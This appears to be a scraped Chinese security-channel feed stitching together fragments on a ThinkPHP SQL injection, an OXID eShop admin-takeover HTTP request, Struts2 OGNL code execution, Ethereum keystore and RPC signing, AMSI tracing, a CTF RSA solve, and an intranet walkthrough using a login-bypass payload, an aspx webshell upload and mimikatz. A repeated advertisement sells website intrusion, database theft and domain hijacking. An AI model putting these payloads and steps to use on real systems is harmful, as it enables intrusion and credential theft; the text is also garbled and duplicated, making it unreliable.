在
跟随到
跟进
然后跟进到第一行的
对传入的
(本意应该是生成一个
这类似的语句
但是这里没有对拼接的参数进行验证,导致恶意sql语句被拼接,从而引发sql注入
除了
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
$res = db('user')->where(['id'=> 1])->insert(['username'=>$username]);下好断点后进入跟随到
insert函数中thinkphp/library/think/db/Query.php:2079public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// 分析查询表达式
$options = $this->parseExpress();
$data = array_merge($options['data'], $data);
// 生成SQL语句
$sql = $this->builder->insert($data, $options, $replace);
....
跟进
$sql = $this->builder->insert($data, $options, $replace);然后跟进到第一行的
$data = $this->parseData($data, $options);中看看是如何解析数据的对传入的
$data变量进行遍历,当$val[0]=='inc'时,就会将$val[1]与$val[2]拼接(本意应该是生成一个
INSERT INTO `user` (`username`) VALUES ( username+1 )
这类似的语句
但是这里没有对拼接的参数进行验证,导致恶意sql语句被拼接,从而引发sql注入
除了
insert方法还有update也能触发该漏洞渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
该错误是由
当我们在
长话短说,我们可以覆盖默认管理员帐户的用户名和密码哈希值。这会将默认管理员的用户名更改为
您可以检查数据库条目以验证是否成功地利用了漏洞。当然,您也可以登录OXID管理员后端(/admin)。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
checkValues()调用的方法checkLogin()的代码造成的。事实证明,这个功能比“只检查”电子邮件地址要更复杂一些。实际上,我们尝试滥用的“bug”是OXID的一个特征。这就是为什么添加的清理功能不检查oxuser_username或oxuser_oxpassword的原因所在。当我们在
invAdr数组中添加oxuser__oxusername键的值时,我们还必须提供密码(数组键oxuser_password)。然后用我们自己也可以提供的HTTP请求参数user_password来检查该字段的值。因此请求中的所有password fields必须包含与值相同的哈希散列。长话短说,我们可以覆盖默认管理员帐户的用户名和密码哈希值。这会将默认管理员的用户名更改为
hacked@mogwailabs.de,密码为hacked456:POST /index.php?lang=1& HTTP/1.1
Host: 10.165.188.125
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.165.188.125/index.php?lang=1&cl=register&fnc=logout&redirect=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1526
Cookie: oxidadminlanguage=en; oxidadminprofile=0%40Standard%4010; language=1; sid=nht6r60vqs46cjkjpdn1t5n6a1; sid_key=oxid
Connection: close
Upgrade-Insecure-Requests: 1
stoken=98BFFD11&lang=1&actcontrol=register&fnc=registeruser&cl=register&lgn_cook=0&reloadaddress=&option=3&lgn_usr=poc%40mogwailabs.de&lgn_pwd=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&lgn_pwd2=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&blnewssubscribed=0&invadr%5Boxuser__oxsal%5D=MR&invadr%5Boxuser__oxfname%5D=PoC&invadr%5Boxuser__oxlname%5D=PoC&invadr%5Boxuser__oxcompany%5D=&invadr%5Boxuser__oxaddinfo%5D=&invadr%5Boxuser__oxstreet%5D=Poc&invadr%5Boxuser__oxstreetnr%5D=123&invadr%5Boxuser__oxzip%5D=12345&invadr%5Boxuser__oxcity%5D=PoC&invadr%5Boxuser__oxustid%5D=&invadr%5Boxuser__oxcountryid%5D=a7c40f631fc920687.20179984&invadr%5Boxuser__oxstateid%5D=&invadr%5Boxuser__oxfon%5D=&invadr%5Boxuser__oxfax%5D=&invadr%5Boxuser__oxmobfon%5D=&invadr%5Boxuser__oxprivfon%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bmonth%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bday%5D=&invadr%5Boxuser__oxbirthdate%5D%5Byear%5D=&save=&invadr[oxuser__oxid]=oxdefaultadmin&invadr[oxuser__oxusername]=hacked@mogwailabs.de&invadr[oxuser__oxpasssalt]=49a9a9a9a4fc191cba6cec03bb65bad3&invadr[oxuser__oxpassword]=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&user_password=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb
您可以检查数据库条目以验证是否成功地利用了漏洞。当然,您也可以登录OXID管理员后端(/admin)。
mysql> select oxid, oxusername from oxuser where oxid='oxdefaultadmin';
+----------------+----------------------+
| oxid | oxusername |
+----------------+----------------------+
| oxdefaultadmin | hacked@mogwailabs.de |
+----------------+----------------------+
1 row in set (0.00 sec)
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
DefaultActionMapper调用parseNameAndNamespace()解析namespace和name。当alwaysSelectFullNamespace为true时,namespace的值可以通过uri控制
Action执行结束时,调用ServletActionRedirectResult.execute()进行重定向Result的解析,通过ActionMapper.getUriFromActionMapping()重组namespace和name后,由setLocation() 将带namespace的location放入父类StrutsResultSupport中
StrutsResultSupport拿到location后,通过TextParseUtil.translateVariables()调用OgnlTextParser.evaluate()解析执行url中的OGNL表达式,导致代码执行
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
Action执行结束时,调用ServletActionRedirectResult.execute()进行重定向Result的解析,通过ActionMapper.getUriFromActionMapping()重组namespace和name后,由setLocation() 将带namespace的location放入父类StrutsResultSupport中
StrutsResultSupport拿到location后,通过TextParseUtil.translateVariables()调用OgnlTextParser.evaluate()解析执行url中的OGNL表达式,导致代码执行
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
keystore 文件是为了避免私钥明文存储导致泄漏的情况发生而出现的,所以加密的第一步就是对以太坊账户的私钥进行加密。这里使用了 aes-128-ctr 方式进行加密。设置 解密密钥 和 初始化向量iv 就可以对以太坊账户的私钥进行加密,得到加密后的密文。keystore 文件中的cipher、cipherparams、ciphertext参数与该加密步骤有关:cipher: 表示对以太坊账户私钥加密的方式,这里使用的是 aes-128-ctrcipherparams 中的 iv: 表示使用 aes 加密使用的初始化向量 ivciphertext: 表示经过加密后得到的密文加密步骤二:利用kdf算法计算解密密钥
经过加密步骤一,以太坊账户的私钥已经被成功加密。我们只需要记住
解密密钥 就可以进行解密,但这里又出现了一个新的问题,解密密钥 长达32位且毫无规律可言。所以以太坊又使用了一个 密钥导出函数(kdf) 计算解密密钥。在这个 keystore 文件中,根据 kdf 参数可以知道使用的是 scrypt 算法。最终实现的效果就是:对我们设置的密码与 kdfparams 中的参数进行 scrypt 计算,就会得到 加密步骤1 中设置的 解密密钥.keystore 文件中的 kdf、kdfparams 参数与该加密步骤有关:kdf: 表示使用的 密钥导出函数 的具体算法kdfparams: 使用密钥导出函数需要的参数加密步骤三:验证用户密码的正确性
假设用户输入了正确的密码,只需要通过步骤一二进行解密就可以得到正确的私钥。但我们不能保证用户每次输入的密码都是正确的。所以引入了验算的操作。验算的操作十分简单,取步骤二解密出的密钥的第十七到三十二位和
ciphertext 进行拼接,计算出该字符串的 sha3_256 的值。如果和 mac 的内容相同,则说明密码正确。keystore 文件中的 mac 参数与该步骤有关:mac: 用于验证用户输入密码的正确性。综上所述,要从
keystore 文件中解密出私钥,所需的步骤是:通过
kdf 算法生成解密私钥对解密私钥进行验算,如果与
mac 值相同,则说明用户输入的密码正确。利用解密私钥解密
ciphertext,获得以太坊账户的私钥渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
首先通过
再看向实现转账的函数的实现过程
可以看到,在
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
getDecryptedKey() 从 keystore 文件夹下的文件中解密出私钥(具体的解密过程可以参考 1.2 节的内容),再判断该账户是否已经被解锁,如果没有被解锁,则将解密出的私钥存入名为 unlocked 的 map 中。如果设置了解锁时间,则启动一个协程进行超时处理 go ks.expire().再看向实现转账的函数的实现过程
SendTransaction() -> wallet.SignTx() -> w.keystore.SignTx():func (s *PublicTransactionPoolAPI) SendTransaction(ctx context.Context, args SendTxArgs) (common.Hash, error) {
account := accounts.Account{Address: args.From}
wallet, err := s.b.AccountManager().Find(account)
......
tx := args.toTransaction()
......
signed, err := wallet.SignTx(account, tx, chainID)
return submitTransaction(ctx, s.b, signed)
}
func (w *keystoreWallet) SignTx(account accounts.Account, tx *types.Transaction, chainID *big.Int) (*types.Transaction, error) {
......
return w.keystore.SignTx(account, tx, chainID)
}
func (ks *KeyStore) SignTx(a accounts.Account, tx *types.Transaction, chainID *big.Int) (*types.Transaction, error) {
// Look up the key to sign with and abort if it cannot be found
ks.mu.RLock()
defer ks.mu.RUnlock()
unlockedKey, found := ks.unlocked[a.Address]
if !found {
return nil, ErrLocked
}
// Depending on the presence of the chain ID, sign with EIP155 or homestead
if chainID != nil {
return types.SignTx(tx, types.NewEIP155Signer(chainID), unlockedKey.PrivateKey)
}
return types.SignTx(tx, types.HomesteadSigner{}, unlockedKey.PrivateKey)
}可以看到,在
w.keystore.SignTx() 中,直接从 ks.unlocked 中取出对应的私钥。这也就意味着如果执行了 unlockAccount() 函数、没有超时的话,从 ipc、rpc调用 SendTransaction() 都会成功签名相关交易。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1
我是通过logman query providers命令查询已注册的提供程序,进而掌握ETW提供程序的名称的。而“Event1”则对应于捕获AMSI上下文的关键字。为了找到该关键字,我使用perfview.exe将ETW清单转储为XML。通过该清单,我们还能弄清楚可以通过提供程序收集哪些事件。
捕获.ETL跟踪后,我们可以使用自己喜欢的工具进行分析。实际上,PowerShell中的Get-WinEvent就是一个很棒的内置.ETL解析器。此外,我还编写了一个简短的脚本来演示如何解析AMSI事件。请注意,由于WSH无法提供“contentname”属性,所以,我们需要手动解析事件数据。另外,该脚本还能够捕获PowerShell内容。
捕获跟踪记录后,我们还能看到执行的有效载荷的内容。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
<instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events">
<instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">
<events>
<provider name="Microsoft-Antimalware-Scan-Interface" guid="{2a576b87-09a7-520e-c21a-4942f0271d67}" resourceFileName="Microsoft-Antimalware-Scan-Interface" messageFileName="Microsoft-Antimalware-Scan-Interface" symbol="MicrosoftAntimalwareScanInterface" source="Xml" >
<keywords>
<keyword name="Event1" message="$(string.keyword_Event1)" mask="0x1"></keyword>
</keywords>
<tasks>
<task name="task_0" message="$(string.task_task_0)" value="0"></task>
</tasks>
<events>
<event value="1101" symbol="task_0" version="0" task="task_0" level="win:Informational" keywords="Event1" template="task_0Args"></event>
</events>
<templates>
<template tid="task_0Args">
<data name="session" inType="win:Pointer"></data>
<data name="scanStatus" inType="win:UInt8"></data>
<data name="scanResult" inType="win:UInt32"></data>
<data name="appname" inType="win:UnicodeString"></data>
<data name="contentname" inType="win:UnicodeString"></data>
<data name="contentsize" inType="win:UInt32"></data>
<data name="originalsize" inType="win:UInt32"></data>
<data name="content" inType="win:Binary" length="contentsize"></data>
<data name="hash" inType="win:Binary"></data>
<data name="contentFiltered" inType="win:Boolean"></data>
</template>
</templates>
</provider>
</events>
</instrumentation>
<localization>
<resources culture="en-US">
<stringTable>
<string id="keyword_Event1" value="Event1"></string>
<string id="task_task_0" value="task_0"></string>
</stringTable>
</resources>
</localization>
</instrumentationManifest>
捕获.ETL跟踪后,我们可以使用自己喜欢的工具进行分析。实际上,PowerShell中的Get-WinEvent就是一个很棒的内置.ETL解析器。此外,我还编写了一个简短的脚本来演示如何解析AMSI事件。请注意,由于WSH无法提供“contentname”属性,所以,我们需要手动解析事件数据。另外,该脚本还能够捕获PowerShell内容。
捕获跟踪记录后,我们还能看到执行的有效载荷的内容。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
若已知私钥d,则可以直接解密:
若已知质数p和q,则通过依次计算欧拉函数值phi、私钥d可解密。简易实现如下:
在选取加密指数e时要求phi,e互质,也就是
为什么说这个呢?是因为有时会有乍一看有点奇怪的情况。比如SCTF2018的
其中
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
m=pow(c,d,n) 。若已知质数p和q,则通过依次计算欧拉函数值phi、私钥d可解密。简易实现如下:
def rsa_decrypt(e, c, p, q):
phi = (p - 1) * (q - 1)
n = p * q
try:
d = gmpy2.invert(e, phi) #求e模phi的逆
return pow(c, d, n)
except Exception as e:
print "e and phi are not coprime!"
raise e
在选取加密指数e时要求phi,e互质,也就是
gcd(phi,e)==1 ,如果不满足是无法直接解密的。为什么说这个呢?是因为有时会有乍一看有点奇怪的情况。比如SCTF2018的
Crypto - a number problem ,题目是x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259
tell me the smallest answer of x
其中
n=3436415358139016629092568198745009225773259 可以直接分解得到p,q,出phi=(p-1)*(q-1) ,然后惊奇地发现gcd(phi,33)==3 。这时如果对加密过程比较熟悉的话,就可以想到实际上公钥e=11 ,明文是m=x^3 ,应该先求出m。然后再爆破x。for i in range(1000000):
# 推荐使用gmpy2库运算,用pow开立方不可行
if gmpy2.iroot(m + i * n, 3)[1]:
x = gmpy2.iroot(m + i * n, 3)[0]
# i==243277,x==9420391510958023
break
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
👍1
通过服务器资产探测,可收集服务器开放web端口,内网系统中,大部分web系统访问的界面都是登录界面,需要用户名密码进行认证。以某内网系统为例,进行实际渗透测试。
(1)在登录界面,用户名处输入加一个单引号 admin’,尝试登录,应用程序报错
(2)构造万能密码admin' or '1'='1尝试登录,成功登录后台
PS:登录处SQL注入,用户角色为sa,也可直接用sqlmap --os-shell获取权限。
(3)首先大致浏览了下后台功能,为了得到权限,我们可以通过常规的手段,后台的上传,命令执行,文件包含等手段,最简单有效直接的就是文件上传。在后台中发现上传点,尝试上传正常图片,进行抓包。
(4)通过抓包修改文件后缀,成功上传aspx木马,刷新页面获取图片链接
(5)访问aspx木马地址,查看当前权限,需进一步提权
(6)上传exp到可读可写目录,尝试执行
(7)新建管理员账号,登录服务器,上传mimikatz(wce有遇到蓝屏和重启的情况,慎用),读取系统缓存密码。
(8)使用administrator账号密码成功登录域服务器
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
(1)在登录界面,用户名处输入加一个单引号 admin’,尝试登录,应用程序报错
(2)构造万能密码admin' or '1'='1尝试登录,成功登录后台
PS:登录处SQL注入,用户角色为sa,也可直接用sqlmap --os-shell获取权限。
(3)首先大致浏览了下后台功能,为了得到权限,我们可以通过常规的手段,后台的上传,命令执行,文件包含等手段,最简单有效直接的就是文件上传。在后台中发现上传点,尝试上传正常图片,进行抓包。
(4)通过抓包修改文件后缀,成功上传aspx木马,刷新页面获取图片链接
(5)访问aspx木马地址,查看当前权限,需进一步提权
(6)上传exp到可读可写目录,尝试执行
(7)新建管理员账号,登录服务器,上传mimikatz(wce有遇到蓝屏和重启的情况,慎用),读取系统缓存密码。
(8)使用administrator账号密码成功登录域服务器
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
👍1